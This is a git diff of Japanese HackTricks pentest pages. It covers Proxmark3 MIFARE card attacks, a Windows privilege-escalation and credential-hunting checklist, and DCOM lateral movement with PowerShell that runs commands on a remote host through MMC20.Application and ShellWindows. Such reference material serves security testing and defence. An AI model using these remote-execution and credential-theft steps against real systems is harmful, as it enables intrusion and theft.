```bash
|
||||
proxmark3> hf mf #List attacks
|
||||
|
||||
|
@ -49,11 +49,11 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
|
|||
proxmark3> hf mf eget 01 # Read block 1
|
||||
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
|
||||
```
|
||||
Proxmark3は、**盗聴**や**Tag to Reader通信**などの他のアクションを実行することができます。このカードでは、**暗号化操作が弱い**ため、通信をスニッフして使用されているキーを計算することができます(`mfkey64`ツール)。
|
||||
Proxmark3は、**盗聴**や**Tag to Reader通信**などの他のアクションを実行することができます。機密データを見つけるために。このカードでは、通信をスニッフィングして使用されるキーを計算することができます。**暗号操作が弱い**ため、平文と暗号文を知っていれば計算できます(`mfkey64`ツール)。
|
||||
|
||||
### 生のコマンド
|
||||
|
||||
IoTシステムでは、**非ブランド品や非商用タグ**が使用されることがあります。この場合、Proxmark3を使用してタグに対してカスタム**生のコマンドを送信**することができます。
|
||||
IoTシステムでは、**ブランドのないタグ**が使用されることがあります。この場合、Proxmark3を使用してタグにカスタム**生のコマンドを送信**することができます。
|
||||
```bash
|
||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||
SAK : 08 [2]
|
||||
|
@ -67,15 +67,15 @@ Valid ISO14443A Tag Found - Quiting Search
|
|||
|
||||
### スクリプト
|
||||
|
||||
Proxmark3ソフトウェアには、簡単なタスクを実行するために使用できる**自動化スクリプト**の事前にロードされたリストが付属しています。完全なリストを取得するには、`script list`コマンドを使用します。次に、スクリプトの名前に続いて`script run`コマンドを使用します。
|
||||
Proxmark3ソフトウェアには、簡単なタスクを実行するために使用できる**自動化スクリプト**の事前にロードされたリストが付属しています。完全なリストを取得するには、`script list`コマンドを使用します。次に、スクリプト名を指定して`script run`コマンドを使用します。
|
||||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
**有効なカード**のデータをコピーして、**タグリーダーをファズ**するスクリプトを作成できます。ただし、1つ以上の**ランダムなバイト**を**ランダム化**し、リーダーがどのイテレーションでも**クラッシュするかどうか**を確認する**Luaスクリプト**を作成してください。
|
||||
あなたは、**有効なカード**のデータをコピーして、1つ以上のランダムな**バイト**を**ランダム化**し、**リーダーがクラッシュ**するかどうかを確認する**Luaスクリプト**を作成できます。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -84,10 +84,10 @@ proxmark3> script run mfkeys
|
|||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,16 +7,16 @@
|
|||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **Discordグループ**に**参加**する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)。
|
||||
- 自分のハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
- **Discordグループ**に**参加**する💬 ([**Discord group**](https://discord.gg/hRep4RUj7f))または[**telegram group**](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks_live)。
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -27,14 +27,14 @@ HackTricksをサポートする他の方法:
|
|||
### [システム情報](windows-local-privilege-escalation/#system-info)
|
||||
|
||||
- [ ] [**システム情報**](windows-local-privilege-escalation/#system-info)を取得する
|
||||
- [ ] **スクリプトを使用して** **カーネル**の[**脆弱性を検索**](windows-local-privilege-escalation/#version-exploits)
|
||||
- [ ] Googleを使用してカーネルの脆弱性を検索する
|
||||
- [ ] searchsploitを使用してカーネルの脆弱性を検索する
|
||||
- [ ] スクリプトを使用して**カーネル**の[**脆弱性を検索**](windows-local-privilege-escalation/#version-exploits)
|
||||
- [ ] Googleを使用してカーネルの**脆弱性を検索**する
|
||||
- [ ] searchsploitを使用してカーネルの**脆弱性を検索**する
|
||||
- [ ] [**環境変数**](windows-local-privilege-escalation/#environment)に興味深い情報はありますか?
|
||||
- [ ] [**PowerShell履歴**](windows-local-privilege-escalation/#powershell-history)にパスワードはありますか?
|
||||
- [ ] PowerShell履歴にパスワードはありますか? [**PowerShell履歴**](windows-local-privilege-escalation/#powershell-history)
|
||||
- [ ] [**インターネット設定**](windows-local-privilege-escalation/#internet-settings)に興味深い情報はありますか?
|
||||
- [**ドライブ**](windows-local-privilege-escalation/#drives)は?
|
||||
- [**WSUSの脆弱性**](windows-local-privilege-escalation/#wsus)は?
|
||||
- [ ] [**ドライブ**](windows-local-privilege-escalation/#drives)は?
|
||||
- [ ] [**WSUSの脆弱性**](windows-local-privilege-escalation/#wsus)は?
|
||||
- [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)は?
|
||||
|
||||
### [ログ/AV列挙](windows-local-privilege-escalation/#enumeration)
|
||||
|
@ -46,61 +46,61 @@ HackTricksをサポートする他の方法:
|
|||
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)は?
|
||||
- [ ] [**キャッシュされた資格情報**](windows-local-privilege-escalation/#cached-credentials)は?
|
||||
- [ ] いずれかの[**AV**](windows-av-bypass)があるかどうかを確認する
|
||||
- [**AppLockerポリシー**](authentication-credentials-uac-and-efs#applocker-policy)は?
|
||||
- [ ] [**AppLockerポリシー**](authentication-credentials-uac-and-efs#applocker-policy)は?
|
||||
- [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control)は?
|
||||
- [**ユーザ権限**](windows-local-privilege-escalation/#users-and-groups)は?
|
||||
- 現在のユーザの[**権限**](windows-local-privilege-escalation/#users-and-groups)を確認する
|
||||
- 特権のあるグループのメンバーですか?[**有効化されているトークン**](windows-local-privilege-escalation/#token-manipulation)はこれらのいずれかを持っていますか? **SeImpersonatePrivilege、SeAssignPrimaryPrivilege、SeTcbPrivilege、SeBackupPrivilege、SeRestorePrivilege、SeCreateTokenPrivilege、SeLoadDriverPrivilege、SeTakeOwnershipPrivilege、SeDebugPrivilege**?
|
||||
- [**ユーザセッション**](windows-local-privilege-escalation/#logged-users-sessions)は?
|
||||
- [**ユーザのホーム**](windows-local-privilege-escalation/#home-folders)をチェックする(アクセスは?)
|
||||
- [**パスワードポリシー**](windows-local-privilege-escalation/#password-policy)は?
|
||||
- [**クリップボードの中身**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)は?
|
||||
- [**ユーザー権限**](windows-local-privilege-escalation/#users-and-groups)は?
|
||||
- [ ] [**現在の**ユーザーの**権限**](windows-local-privilege-escalation/#users-and-groups)を確認する
|
||||
- [ ] どの特権グループのメンバーですか? [**特権グループ**](windows-local-privilege-escalation/#privileged-groups)を確認する
|
||||
- [ ] これらのトークンのいずれかが有効になっているかどうかを確認する:**SeImpersonatePrivilege、SeAssignPrimaryPrivilege、SeTcbPrivilege、SeBackupPrivilege、SeRestorePrivilege、SeCreateTokenPrivilege、SeLoadDriverPrivilege、SeTakeOwnershipPrivilege、SeDebugPrivilege** [**トークン操作**](windows-local-privilege-escalation/#token-manipulation)は?
|
||||
- [**ユーザーセッション**](windows-local-privilege-escalation/#logged-users-sessions)は?
|
||||
- [ ] [**ユーザーのホーム**](windows-local-privilege-escalation/#home-folders)を確認する(アクセスは?)
|
||||
- [ ] [**パスワードポリシー**](windows-local-privilege-escalation/#password-policy)は?
|
||||
- [ ] クリップボードの中身は何ですか? [**クリップボードの内容**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)は?
|
||||
|
||||
### [ネットワーク](windows-local-privilege-escalation/#network)
|
||||
|
||||
- 現在の[**ネットワーク情報**](windows-local-privilege-escalation/#network)をチェックする
|
||||
- 外部に制限された**非表示のローカルサービス**をチェックする
|
||||
- [ ] **現在の**[**ネットワーク情報**](windows-local-privilege-escalation/#network)を確認する
|
||||
- [ ] 外部に制限された**非表示のローカルサービス**を確認する
|
||||
|
||||
### [実行中のプロセス](windows-local-privilege-escalation/#running-processes)
|
||||
|
||||
- プロセスのバイナリ[**ファイルとフォルダの権限**](windows-local-privilege-escalation/#file-and-folder-permissions)をチェックする
|
||||
- [**メモリパスワードマイニング**](windows-local-privilege-escalation/#memory-password-mining)を行う
|
||||
- [**セキュリティの脆弱なGUIアプリ**](windows-local-privilege-escalation/#insecure-gui-apps)をチェックする
|
||||
- `ProcDump.exe`を使用して、興味深いプロセスから資格情報を盗むことはできますか?(firefox、chromeなど...)
|
||||
- [ ] プロセスのバイナリ[**ファイルとフォルダの権限**](windows-local-privilege-escalation/#file-and-folder-permissions)を確認する
|
||||
- [ ] [**メモリパスワードの採掘**](windows-local-privilege-escalation/#memory-password-mining)を行う
|
||||
- [ ] [**セキュリティの脆弱なGUIアプリ**](windows-local-privilege-escalation/#insecure-gui-apps)を確認する
|
||||
- [ ] `ProcDump.exe`を使用して、**興味深いプロセス**から資格情報を盗むことができますか?(firefox、chromeなど...)
|
||||
|
||||
### [サービス](windows-local-privilege-escalation/#services)
|
||||
|
||||
- 任意のサービスを**変更**できますか?([**権限**](windows-local-privilege-escalation#permissions))
|
||||
- 任意のサービスが実行する**バイナリ**を**変更**できますか?([**サービスバイナリパスの変更**](windows-local-privilege-escalation/#modify-service-binary-path))
|
||||
- 任意のサービスの**レジストリ**を**変更**できますか?([**サービスレジストリの変更権限**](windows-local-privilege-escalation/#services-registry-modify-permissions))
|
||||
- いずれかの**未引用サービス**バイナリ**パス**を利用できますか?([**未引用サービスパス**](windows-local-privilege-escalation/#unquoted-service-paths))
|
||||
- [ ] 任意のサービスを**変更**できますか? [**権限**](windows-local-privilege-escalation#permissions)を確認する
|
||||
- [ ] 任意のサービスが実行する**バイナリ**を**変更**できますか? [**サービスのバイナリパスの変更**](windows-local-privilege-escalation/#modify-service-binary-path)を確認する
|
||||
- [ ] 任意のサービスの**レジストリ**を**変更**できますか? [**サービスのレジストリ変更権限**](windows-local-privilege-escalation/#services-registry-modify-permissions)を確認する
|
||||
- [ ] いずれかの**未引用サービス**バイナリ**パス**を利用できますか? [**引用されていないサービスパス**](windows-local-privilege-escalation/#unquoted-service-paths)を確認する
|
||||
|
||||
### [**アプリケーション**](windows-local-privilege-escalation/#applications)
|
||||
|
||||
- インストールされたアプリケーションの[**書き込み権限**](windows-local-privilege-escalation/#write-permissions)をチェックする
|
||||
- [**起動アプリケーション**](windows-local-privilege-escalation/#run-at-startup)をチェックする
|
||||
- **脆弱な**[**ドライバ**](windows-local-privilege-escalation/#drivers)をチェックする
|
||||
- インストールされたアプリケーションに**書き込み**権限がありますか? [**インストールされたアプリケーションの書き込み権限**](windows-local-privilege-escalation/#write-permissions)を確認する
|
||||
- [**起動アプリケーション**](windows-local-privilege-escalation/#run-at-startup)を確認する
|
||||
- **脆弱な**[**ドライバー**](windows-local-privilege-escalation/#drivers)を確認する
|
||||
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
|
||||
* [ ] **PATH**内の**任意のフォルダに書き込めます**か?
|
||||
* [ ] **存在しないDLLを読み込もうとする**既知のサービスバイナリがありますか?
|
||||
* [ ] **存在しないDLLを読み込もうとする**既知のサービスバイナリはありますか?
|
||||
* [ ] **バイナリフォルダに書き込めます**か?
|
||||
|
||||
### [ネットワーク](windows-local-privilege-escalation/#network)
|
||||
|
||||
* [ ] ネットワークを列挙します(共有、インターフェース、ルート、隣接者など)
|
||||
* [ ] ローカルホスト(127.0.0.1)でリスニングしているネットワークサービスに特に注意します
|
||||
* [ ] ローカルホスト(127.0.0.1)でリッスンしているネットワークサービスに特に注意します
|
||||
|
||||
### [Windowsの資格情報](windows-local-privilege-escalation/#windows-credentials)
|
||||
### [Windows資格情報](windows-local-privilege-escalation/#windows-credentials)
|
||||
|
||||
* [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials)の資格情報
|
||||
* [ ] 使用できる[**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault)の資格情報はありますか?
|
||||
* [ ] 興味深い[**DPAPIの資格情報**](windows-local-privilege-escalation/#dpapi)はありますか?
|
||||
* [ ] 保存された[**Wifiネットワークのパスワード**](windows-local-privilege-escalation/#wifi)はありますか?
|
||||
* [ ] [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials)資格情報
|
||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault)で使用できる資格情報はありますか?
|
||||
* [ ] 興味深い[**DPAPI資格情報**](windows-local-privilege-escalation/#dpapi)はありますか?
|
||||
* [ ] 保存された[**Wifiネットワーク**](windows-local-privilege-escalation/#wifi)のパスワード
|
||||
* [ ] 保存されたRDP接続に関する興味深い情報はありますか?
|
||||
* [ ] 最近実行されたコマンドのパスワードはありますか?
|
||||
* [ ] [**リモートデスクトップ資格情報マネージャー**](windows-local-privilege-escalation/#remote-desktop-credential-manager)のパスワードはありますか?
|
||||
* [ ] [**AppCmd.exe**が存在しますか](windows-local-privilege-escalation/#appcmd-exe)?資格情報は?
|
||||
* [ ] [**リモートデスクトップ資格情報マネージャー**](windows-local-privilege-escalation/#remote-desktop-credential-manager)のパスワード
|
||||
* [ ] [**AppCmd.exe**が存在](windows-local-privilege-escalation/#appcmd-exe)しますか?資格情報は?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)はありますか?DLLサイドローディングは?
|
||||
|
||||
### [ファイルとレジストリ(資格情報)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
|
@ -108,8 +108,8 @@ HackTricksをサポートする他の方法:
|
|||
* [ ] **Putty:** [**資格情報**](windows-local-privilege-escalation/#putty-creds) **および** [**SSHホストキー**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] レジストリにある[**SSHキー**](windows-local-privilege-escalation/#ssh-keys-in-registry)はありますか?
|
||||
* [ ] [**無人ファイル**](windows-local-privilege-escalation/#unattended-files)にパスワードはありますか?
|
||||
* [ ] [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)のバックアップはありますか?
|
||||
* [ ] [**クラウドの資格情報**](windows-local-privilege-escalation/#cloud-credentials)はありますか?
|
||||
* [ ] [**SAM&SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)のバックアップはありますか?
|
||||
* [ ] [**クラウド資格情報**](windows-local-privilege-escalation/#cloud-credentials)はありますか?
|
||||
* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)ファイルはありますか?
|
||||
* [ ] [**キャッシュされたGPPパスワード**](windows-local-privilege-escalation/#cached-gpp-pasword)はありますか?
|
||||
* [ ] [**IIS Web構成ファイル**](windows-local-privilege-escalation/#iis-web-config)にパスワードはありますか?
|
||||
|
@ -117,9 +117,9 @@ HackTricksをサポートする他の方法:
|
|||
* [ ] ユーザーに[**資格情報を要求**](windows-local-privilege-escalation/#ask-for-credentials)したいですか?
|
||||
* [ ] リサイクルビン内の[**興味深いファイル**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)はありますか?
|
||||
* [ ] 他の[**資格情報を含むレジストリ**](windows-local-privilege-escalation/#inside-the-registry)はありますか?
|
||||
* [ ] [**ブラウザデータ**](windows-local-privilege-escalation/#browsers-history)内(データベース、履歴、ブックマークなど)には?
|
||||
* [**ファイルとレジストリ内の一般的なパスワード検索**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)は?
|
||||
* パスワードを自動的に検索する[**ツール**](windows-local-privilege-escalation/#tools-that-search-for-passwords)は?
|
||||
* [ ] ブラウザデータ(データベース、履歴、ブックマークなど)内にありますか?
|
||||
* [**ファイルとレジストリ**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry)内の一般的なパスワード検索
|
||||
* パスワードを自動的に検索する[**ツール**](windows-local-privilege-escalation/#tools-that-search-for-passwords)はありますか?
|
||||
|
||||
### [漏洩したハンドラ](windows-local-privilege-escalation/#leaked-handlers)
|
||||
|
||||
|
@ -128,23 +128,3 @@ HackTricksをサポートする他の方法:
|
|||
### [パイプクライアントの擬似化](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||
|
||||
* [ ] それを悪用できるかどうかを確認します
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksをPDFでダウンロード**したい場合や**HackTricksで企業を宣伝**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を収集できる、[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**したりしてください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、自分のハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。**
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,22 +22,22 @@
|
|||
|
||||
## MMC20.Application
|
||||
|
||||
**このテクニックについての詳細情報は、[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)からオリジナルの投稿をご覧ください**
|
||||
**このテクニックについての詳細情報は、[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)から元の投稿をチェックしてください**
|
||||
|
||||
|
||||
分散コンポーネントオブジェクトモデル(DCOM)オブジェクトは、ネットワークベースのオブジェクトとのやり取りに興味深い機能を提供します。Microsoftは、DCOMとComponent Object Model(COM)の包括的なドキュメントを提供しており、[DCOMの場合はこちら](https://msdn.microsoft.com/en-us/library/cc226801.aspx)、[COMの場合はこちら](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)でアクセスできます。PowerShellコマンドを使用してDCOMアプリケーションのリストを取得できます:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
COMオブジェクト、[MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx)は、MMCスナップイン操作のスクリプト化を可能にします。特に、このオブジェクトには、`Document.ActiveView`の下に`ExecuteShellCommand`メソッドが含まれています。このメソッドに関する詳細情報は[こちら](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)で確認できます。次のコマンドを実行して確認してください:
|
||||
The COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), enables scripting of MMC snap-in operations. Notably, this object contains a `ExecuteShellCommand` method under `Document.ActiveView`. More information about this method can be found [here](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Check it running:
|
||||
|
||||
この機能は、DCOMアプリケーションを介してネットワーク上でコマンドを実行することを容易にします。管理者としてリモートでDCOMとやり取りするために、PowerShellを以下のように利用できます:
|
||||
This feature facilitates the execution of commands over a network through a DCOM application. To interact with DCOM remotely as an admin, PowerShell can be utilized as follows:
|
||||
```powershell
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
このコマンドはDCOMアプリケーションに接続し、COMオブジェクトのインスタンスを返します。その後、ExecuteShellCommandメソッドを呼び出してリモートホストでプロセスを実行できます。プロセスは以下の手順で行われます:
|
||||
このコマンドはDCOMアプリケーションに接続し、COMオブジェクトのインスタンスを返します。その後、ExecuteShellCommandメソッドを呼び出してリモートホストでプロセスを実行できます。プロセスは以下の手順を含みます:
|
||||
|
||||
メソッドのチェック:
|
||||
メソッドの確認:
|
||||
```powershell
|
||||
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
|
||||
$com.Document.ActiveView | Get-Member
|
||||
|
@ -55,14 +55,14 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**この技術についての詳細は、元の投稿を参照してください [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
**MMC20.Application** オブジェクトは、明示的な "LaunchPermissions" が不足していることが特定され、管理者がアクセスを許可する権限にデフォルトで設定されています。詳細については、[こちら](https://twitter.com/tiraniddo/status/817532039771525120)のスレッドを参照し、[@tiraniddo](https://twitter.com/tiraniddo) の OleView .NET を使用して、明示的な Launch Permission がないオブジェクトをフィルタリングすることが推奨されています。
|
||||
**MMC20.Application** オブジェクトは、明示的な "LaunchPermissions" が不足していることが特定され、管理者がアクセスできる権限を許可するデフォルト権限になっています。詳細については、[こちら](https://twitter.com/tiraniddo/status/817532039771525120)のスレッドを参照し、[@tiraniddo](https://twitter.com/tiraniddo) の OleView .NET の使用をお勧めします。
|
||||
|
||||
`ShellBrowserWindow` と `ShellWindows` という2つの特定のオブジェクトが、明示的な Launch Permissions が不足しているために強調されました。`HKCR:\AppID\{guid}` の下に `LaunchPermission` レジストリエントリが存在しない場合、明示的な権限がないことを示します。
|
||||
|
||||
### ShellWindows
|
||||
`ShellWindows` の場合、ProgID がないため、.NET メソッド `Type.GetTypeFromCLSID` と `Activator.CreateInstance` を使用して、その AppID を利用してオブジェクトのインスタンス化が可能です。このプロセスでは、OleView .NET を使用して `ShellWindows` の CLSID を取得します。インスタンス化されると、`WindowsShell.Item` メソッドを介して相互作用が可能となり、`Document.Application.ShellExecute` のようなメソッドの呼び出しが行われます。
|
||||
`ShellWindows` には ProgID がないため、.NET メソッド `Type.GetTypeFromCLSID` と `Activator.CreateInstance` を使用して、その AppID を利用してオブジェクトのインスタンス化が可能です。このプロセスでは、OleView .NET を使用して `ShellWindows` の CLSID を取得します。インスタンス化されると、`WindowsShell.Item` メソッドを介して相互作用が可能となり、`Document.Application.ShellExecute` のようなメソッドの呼び出しが行われます。
|
||||
|
||||
PowerShell の例として、オブジェクトのインスタンス化とリモートでコマンドを実行するためのコマンドが提供されました:
|
||||
PowerShell の例として、オブジェクトのインスタンス化とリモートでコマンドを実行するコマンドが提供されました:
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
|
@ -71,9 +71,9 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
|
|||
```
|
||||
### Excel DCOMオブジェクトを使用した横方向移動
|
||||
|
||||
